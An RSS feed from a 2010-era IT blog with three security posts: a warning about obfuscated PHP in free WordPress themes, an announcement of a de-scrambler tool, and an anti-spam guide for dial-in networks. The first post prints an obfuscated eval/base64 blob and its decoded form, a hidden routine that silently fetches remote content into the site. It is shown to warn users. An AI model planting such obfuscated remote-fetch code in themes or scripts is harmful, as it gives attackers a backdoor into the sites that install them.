<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>phaq &#187; Security</title>
	<atom:link href="http://phaq.phunsites.net/category/howtos/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://phaq.phunsites.net</link>
	<description>my daily IT madness</description>
	<lastBuildDate>Mon, 30 Jan 2012 10:07:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.3</generator>
		<item>
		<title>Obfuscated PHP code in WordPress Themes or PHP scripts may be a security hole!</title>
		<link>http://phaq.phunsites.net/2010/12/15/obfuscated-php-code-in-wordpress-themes-or-php-scripts-may-be-a-security-hole/</link>
		<comments>http://phaq.phunsites.net/2010/12/15/obfuscated-php-code-in-wordpress-themes-or-php-scripts-may-be-a-security-hole/#comments</comments>
		<pubDate>Wed, 15 Dec 2010 00:45:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://phaq.phunsites.net/?p=227</guid>
		<description><![CDATA[Gosh, some things really shouldn&#8217;t be done! One thing for example is that stupid attitude to &#8220;scramble&#8221; PHP code by nesting it a zillion times using eval(), gz_deflate(), base64_encode() and str_rot13. You find this in some &#8220;freely&#8221; available PHP scripts and some WordPress Themes as well. Actually nobody seems to care, that this may be [...]]]></description>
			<content:encoded><![CDATA[<p>Gosh, some things really shouldn&#8217;t be done!<br />
One thing for example is that stupid attitude to &#8220;scramble&#8221; PHP code by nesting it a zillion times using eval(), gz_deflate(), base64_encode() and str_rot13.<br />
You find this in some &#8220;freely&#8221; available PHP scripts and some WordPress Themes as well. Actually nobody seems to care, that this may be well worth considering as a huge security hole!<br />
<span id="more-227"></span><br />
Here&#8217;s a screenshot of what this typically looks like in the WordPress theme editor:</p>
<div align="center">
<a href="http://phaq.phunsites.net/files/2010/12/wp_theme_editor.png" rel="lightbox[227]"><img src="http://phaq.phunsites.net/files/2010/12/wp_theme_editor-300x158.png" alt="" title="wp_theme_editor" width="300" height="158" class="aligncenter size-medium wp-image-228" /></a>
</div>
<p>The idea behind this bevahour might be reasonable and well understandable if we think of no bad attitude: The author simply wants to inherit his own copyright and may want to make sure, that the &#8220;advertisement stuff&#8221; stays intact.</p>
<p>While this may keep the non-knowledgeable user easily away from tampering with it, it is sort of annoying for practically everyone for one of these reasons:</p>
<ul>
<li>An honest user would never remove the copyright string (if we lived in a perfect world)</li>
<li>Besides that, it may not be feasible to have the advertisement stuff on the webpages&#8217; footer</li>
</ul>
<p>So for the general audience, the best way to get rid of this is to ask the author to remove the obfuscated code after paying him a royalty fee.<br />
There&#8217;s nothing bad about that, at least as long as the author can be contacted, grants a royalty and them removes the unbeloved obfuscated PHP code.</p>
<p>But let&#8217;s look into this from another point of view, thinking straigth of non-legitimate use.</p>
<ul>
<li>What do you do, if the author cannot be contacted?</li>
<li>What do you do, if the author resists in removing the code?</li>
<li>NOBODY (except for the author) actually KNOWS, what&#8217;s hidden inside the scrambled section. This could be anything from &#8220;nothing important&#8221; up to a hidden &#8220;call-home routine&#8221; or &#8211; even worse &#8211; a backdoor which allows injection of remotely included code</li>
</ul>
<p>As you see from the screenshot above, you can&#8217;t really tell what&#8217;s inside &#8211; except if you take the time to decode it.<br />
An arbitary user, who would just download and use some script or theme, will usually not have the knowledge to do this.</p>
<p>Let&#8217;s look at a code, which I found inside a downloaded wordpress theme:<br />
<code>&lt;? eval(gzinflate(base64_decode('vZHRasIwFIavV/AdQpCSglSvJ7INV3Aw0NV2N2MESU9tZpZTkuiE6bsvOrsibre7/c+X/3xJwBg03ECNxkm9ZINoGHTHWECePpIRoZVz9XW/r6ReFShWscD3vkDtQLu4ruobWYzCCq0b0XhtFGjhj7Iunyfpc5K+0EmWzfhkOs/oaxTTcG3kH2CaPOXJPON5+uDRYdAJZEkYk9ptFootwXFRLvlmYRhdKIUf3JfwEmvQNIrIbkdOpNSSe/o3KiJhSMq1Fk6i5rCV1llGS6mAH/u/b2UPfZ+d4ApEheT2Ysya14mGnWBPQFn4R9NGrnvS8V90VDyzOqm/odSM0h5p4HPji35xUPBWrl1S+f6f+HzHMbbgsPYDUfXI2E+ms4xPkrv7JO2RQYvBFsQBahOh0EIT7b8A'))); ?&amp;gt<br />
</code><br />
This does not allow to make any conclusion about what&#8217;s inside.<br />
Only after decoding it, we see the real source code behind:<br />
<code>error_reporting(0);<br />
$CodeURL = "http://SOMEURL?id=&amp;host=".urlencode($_SERVER["HTTP_HOST"])."&amp;uri=".urlencode($_SERVER["REQUEST_URI"]);</p>
<p>if ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) &amp;&amp; function_exists("file_get_contents")) {<br />
	echo @file_get_contents($CodeURL);<br />
} elseif ((intval(get_cfg_var("allow_url_fopen")) || intval(ini_get("allow_url_fopen"))) &amp;&amp; function_exists("file")) {<br />
	$content = @file($CodeURL);<br />
	echo @join("", $content);<br />
} elseif (function_exists("curl_init")) {<br />
	$ch = curl_init($CodeURL);<br />
	curl_setopt($ch, CURLOPT_HEADER, 0);<br />
	curl_exec($ch);<br />
	curl_close($ch);<br />
}<br />
</code><br />
This may be a perfect example of how obfuscted code, found in an arbitary WordPress theme, could try to fetch a remote file into your Blog&#8217;s web content. This _could_ be of course legit, e.g. if it downloads some advertisement banners or alike, but who says, that it couldn&#8217;t be a PHP web shell as well?</p>
<p>So an arbitary attacker, who wants to infect thousands of blogs or websites, would just need to poison a few scripts and themes and distribute them for free.<br />
&#8220;For Free&#8221; sells well on the web, so hundreds if not thousands of users would happily download and install it to their websites, not knowing that they possibly open up doors to remote attackers.</p>
<p>To conclude this: A perfect recommendation for end-users, which would help them to sort out legit from not-legit use of such practice is near to impossible. There&#8217;s a zillion webpages out there bringing scripts, themes, gadgets and alike for website integration to the end-user. The best recommendation would be: Don&#8217;t trust any source. Don&#8217;t trust either script or theme, which does not come in pure plain-readable source code.</p>
<p>A second recommendation would be to decode the obfuscated code into human-readable plain text.<br />
Simply use the <a href="http://phaq.phunsites.net/2010/12/15/de-scrambler-for-obfuscated-php-code/">PHP De-Scrambler</a> I wrote to see what&#8217;s hidden from your eyes.</p>
]]></content:encoded>
			<wfw:commentRss>http://phaq.phunsites.net/2010/12/15/obfuscated-php-code-in-wordpress-themes-or-php-scripts-may-be-a-security-hole/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>De-Scrambler for obfuscated PHP code</title>
		<link>http://phaq.phunsites.net/2010/12/15/de-scrambler-for-obfuscated-php-code/</link>
		<comments>http://phaq.phunsites.net/2010/12/15/de-scrambler-for-obfuscated-php-code/#comments</comments>
		<pubDate>Wed, 15 Dec 2010 00:41:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Scripting]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://phaq.phunsites.net/?p=230</guid>
		<description><![CDATA[Thinking about security risks of obfuscated PHP code found in some freely available PHP scripts and WordPress themes, I wrote a quick&#8217;n'dirty De-Scrambler. The De-Scrambler tries to reveal the source code behind obfuscated block like these: &#60;? eval(gzinflate(str_rot13(base64_decode(&#8216;DZe3DsTWEV &#8212;-shortened&#8212;- Z9//g8=&#8217;)))); ?&#62; The De-Scrabmler works on obfuscated blocks containing eval()&#8217;ed code created through gz_deflate(), base64_encode() and [...]]]></description>
			<content:encoded><![CDATA[<p>Thinking about <a href="http://phaq.phunsites.net/2010/12/15/obfuscated-php-code-in-wordpress-themes-or-php-scripts-may-be-a-security-hole/">security risks of obfuscated PHP code found in some freely available PHP scripts and WordPress themes</a>, I wrote a quick&#8217;n'dirty De-Scrambler.<br />
<span id="more-230"></span><br />
The De-Scrambler tries to reveal the source code behind obfuscated block like these:</p>
<p>&lt;? eval(gzinflate(str_rot13(base64_decode(&#8216;DZe3DsTWEV  &#8212;-shortened&#8212;-  Z9//g8=&#8217;)))); ?&gt;</p>
<p>The De-Scrabmler works on obfuscated blocks containing eval()&#8217;ed code created through gz_deflate(), base64_encode() and str_rot13() functions.</p>
<p>It&#8217;s very simple to use even for non-pro&#8217;s. Just copy-paste the scrambled text block into the form and let the De-Scrambler do the rest.</p>
<div align="center">
<h2><a href="http://phunsites.net/descrambler" target="_blank">Start PHP De-Scrambler</a></h2>
</div>
<p>Sample view of scrambled code in a WordPres Theme:</p>
<p><a href="http://phaq.phunsites.net/files/2010/12/wp_theme_editor.png" rel="lightbox[230]"><img src="http://phaq2.phunsites.net/wp-content/uploads/2010/12/wp_theme_editor-300x158.png" alt="wp_theme_editor" width="300" height="158" class="aligncenter size-medium wp-image-228" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://phaq.phunsites.net/2010/12/15/de-scrambler-for-obfuscated-php-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Protecting A Dialin Infrastructure From Spammers</title>
		<link>http://phaq.phunsites.net/2006/05/01/protecting-a-dialin-infrastructure-from-spammers/</link>
		<comments>http://phaq.phunsites.net/2006/05/01/protecting-a-dialin-infrastructure-from-spammers/#comments</comments>
		<pubDate>Mon, 01 May 2006 15:00:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://phaq.phunsites.net/2006/05/01/protecting-a-dialin-infrastructure-from-spammers/</guid>
		<description><![CDATA[Back in 2002, the guys at init7 have developped a concept to protect anonymous dial-in from being abused by spammers. The original concept as outlined here consists basically of three combined efforts: #1 Redirect SMTP Connections to a SMTP proxy on the core router #2 Enforce rate limits on the SMTP proxy #3 Temporary reject [...]]]></description>
			<content:encoded><![CDATA[<p>Back in 2002, the guys at <a href="http://www.init7.ch" target="_blank">init7</a> have developped a concept to protect anonymous dial-in from being abused by spammers.</p>
<p>The original concept <a href="http://www.init7.net/anti-spam/index.php" target="_blank">as outlined here</a> consists basically of three combined efforts:</p>
<p>#1 Redirect SMTP Connections to a SMTP proxy on the core router</p>
<p>#2 Enforce rate limits on the SMTP proxy</p>
<p>#3 Temporary reject source IP which have exceeded their limits</p>
<p>Inspired by the basic concept I started to implement it at our site.<br />
<span id="more-20"></span><br />
Soon enough I should come along some caveats causing me to change things a bit while still retaining most of the original concept.</p>
<h3>The Concept Reloaded</h3>
<p>Please click on the thumbnail image to get a larger view of the concept drawing.</p>
<p><a href="/wp-content/uploads/2006/05/dsb_concept.jpg" target="_blank" rel="lightbox[20]"></a><a href="http://phaq.phunsites.net/files/2006/05/dsb_concept.jpg" rel="lightbox[20]"><img class="aligncenter size-medium wp-image-19" title="Dialin Spam Blocking Concept" src="http://phaq.phunsites.net/files/2006/05/dsb_concept-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p>Compared to the original concept I had some additions in mind.</p>
<ul>
<li>Support not only TCP port 25 (SMTP) for proxy redirection but also include ports 465 (SMTP/TLS) and 587 (SMTP/Submission)</li>
<li>Use a separate SMTP server as proxy gateway</li>
<li>Allow unrestricted (non proxied) access to internal SMTP hosts for authorized users</li>
<li>Use native rate-limiting features of Postfix MTA</li>
<li>Use a native DNS RBL for temporary blacklisting instead of MTA-specific hash tables</li>
</ul>
<p>Assumptions made in my examples:</p>
<ul>
<li>RAS IP Range is 172.16.1.0/25</li>
<li>First allowed MX Host is 192.168.1.27 (outbound)</li>
<li>Second allowed MX Host is 192.168.1.28 (listserver)</li>
<li>SMTP Proxy Host is 192.168.1.29</li>
<li>SMTP Proxy host runs FreeBSD</li>
<li>Disallowed MX Hosts is 0.0.0.0 (smtp)</li>
<li>Transit Router is a Cisco</li>
</ul>
<h3>Transit Router Configuration</h3>
<p>First of all you need to configure the redirection scheme on your transit router. I implemented it using access lists and a combined route map.<br />
Given my case I had two SMTP servers to allow connections to in any case (security policy implemented via SMTP authentication scheme) and all others to be filtered. This is how it is implemented:</p>
<pre>ip access-list extended dialin_to_listserver
permit tcp 172.16.1.0 0.0.0.127 host 192.168.1.28 eq smtp 465 587
remark match smtp connections from dialin range to listserver

ip access-list extended dialin_to_outbound
permit tcp 172.16.1.0 0.0.0.127 host 192.168.1.27 eq smtp 465 587
remark match smtp connections from dialin range to outbound server

ip access-list extended dialin_to_smtp
permit tcp 172.16.1.0 0.0.0.127 any eq smtp 465 587
remark match smtp connections from dialin range to any host</pre>
<p>Now these access lists are combined into a route map. The route-map first matches against the allowed MX hosts (preference 10 and 15) and then against all unspecified hosts (preference 20). The last rule causes unspecified connections to be redirected to the smtp proxy host by overriding it&#8217;s next-hop.</p>
<pre>route-map SMTP-proxy permit 10
description do not force ip redirect for smtp connections to outbound server
match ip address dialin_to_outbound
!
route-map SMTP-proxy permit 15
description do not force ip redirect for smtp connections to listserver
match ip address dialin_to_listserver
!
route-map SMTP-proxy permit 20
description force ip redirect for unspecified smtp connections
match ip address dialin_to_smtp
set ip next-hop 192.168.1.29
!</pre>
<p>Finally the route map is attachend to the outbound interface:</p>
<pre>interface GigabitEthernet0/1
ip policy route-map SMTP-proxy</pre>
<h3>SMTP Host: IPFW Configuration</h3>
<p>The SMTP proxy host requires that you create a special accept rule for the forwarded packets to be handled. A FreeBSD host requires ipfw with IP_FORWARD to be enabled in the kernel for this work.</p>
<p>add 11 fwd 192.168.1.29,25 tcp from 172.16.1.0/25 to any 25<br />
add 12 fwd 192.168.1.29,465 tcp from 172.16.1.0/25 to any 465<br />
add 13 fwd 192.168.1.29,587 tcp from 172.16.1.0/25 to any 587</p>
<p>Consider that a &#8220;check-state ip from any to any&#8221; rule should not be invoked before any &#8216;fwd&#8217; rules, otherwise the packets will be rejected as connection tracking is not supported on forwarded packets.</p>
<h3>SMTP Host: Postfix Configuration</h3>
<p>All newer versions of Postfix support rate limiting through anvil(8). Anvil allows easiliy to keep track of connection and recipient numbers and reject clients if they exceed their limits.</p>
<p>Anvil can be enabled by adding some statements to main.cf:</p>
<p>smtpd_client_connection_count_limit=50<br />
smtpd_client_connection_rate_limit=50<br />
smtpd_client_event_limit_exceptions=127.0.0.1<br />
smtpd_client_message_rate_limit=50<br />
smtpd_client_recipient_rate_limit=50<br />
anvil_rate_time_unit=1800s</p>
<p>More complex configurations, eg. for different limits per source IP or subnet can be created using policy based routing in Postfix, though this is beyond the scope of this tutorial.</p>
<h3>SMTP Host: RBL support</h3>
<p>Given the case a malicious client exceeds the rate limits set in the previous step, Postfix&#8217;s anvil will automatically reject the client until the timeout interval is reached (1800s in the example above).</p>
<p>While this should stop immediate abuse, an attacker could try to adjust his delivery limits to stay below our treshold.<br />
This can be avoided if a client&#8217;s IP address was to be blacklisted temporarily upon exceeding the limits. For interopability reasons I have written the &#8216;dsb&#8217; plugin for my logtail daemon (both to be released shortly), which basically monitors the maillog and adds any client IP exceeding the rate limits to an internal DNS blacklist.</p>
<p>I choose not to use classic MTA-specific hash tables as DNS is more portable and can easily be used in a distributed environment.</p>
<p>To enable realtime blacklisting support, add a statement to your smtpd client restrictions in Postix&#8217;s main.cf:</p>
<p>smtpd_client_restrictions = permit_mynetworks,reject_rbl_client myrbl.mydomain.tld</p>
<p>Additionally you&#8217;ll need to setup a blacklist zone (myrbl.mydomain.tld in the exmaple) on your favorite DNS server (ISC BIND strongly recommended, server must support dynamic zone updates for full compatibility with logtail + dsb).</p>
<p>Then install logtail + dsb plugin on your SMTP proxy server and enable it for automatic startup. For logtail + dsb visit <a href="http://phaq.phunsites.net/dsb" target="_blank">http://phaq.phunsites.net/dsb</a> (software to be released soon).</p>
<h3>Radius Server: RBL unlisting support</h3>
<p>If you chose to use logtail + dsb for automatic IP blacklisting support, this addition may come in handy. The logtail + dsb package includes a handy little tool which is to be added to your Radius server to allow for automatic unlisting an IP address upon client disconnect.</p>
<p>This will workaround an IP from your dynamic pool staying blocked even if the malicous client disconnected ages ago.</p>
]]></content:encoded>
			<wfw:commentRss>http://phaq.phunsites.net/2006/05/01/protecting-a-dialin-infrastructure-from-spammers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

